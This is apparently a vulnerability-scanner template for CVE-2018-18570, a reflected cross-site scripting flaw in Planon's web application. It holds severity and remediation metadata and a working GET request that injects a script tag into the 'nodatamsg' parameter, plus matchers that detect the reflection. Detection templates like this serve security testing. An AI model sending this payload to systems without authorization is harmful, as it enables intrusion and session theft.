id: CVE-2018-18570

info:
  name: Planon <Live Build 41 - Cross-Site Scripting
  author: emadshanab
  severity: medium
  description: Planon before Live Build 41 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of Planon Live Build.
  reference:
    - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18570
    cwe-id: CWE-79
    epss-score: 0.02465
    epss-percentile: 0.82387
    cpe: cpe:2.3:a:planonsoftware:planon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: planonsoftware
    product: planon
  tags: cve,cve2018,xss,planon,planonsoftware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ccbb4f3c684f5ff161f8a382704f589133c866591641e4bbe21848b9001297bc0221008471524e652e221df13aa05f2d9a5633b4d3be9a66b9f7aae1d92eb9f8360905:922c64590222798bb761d5b6d8e72950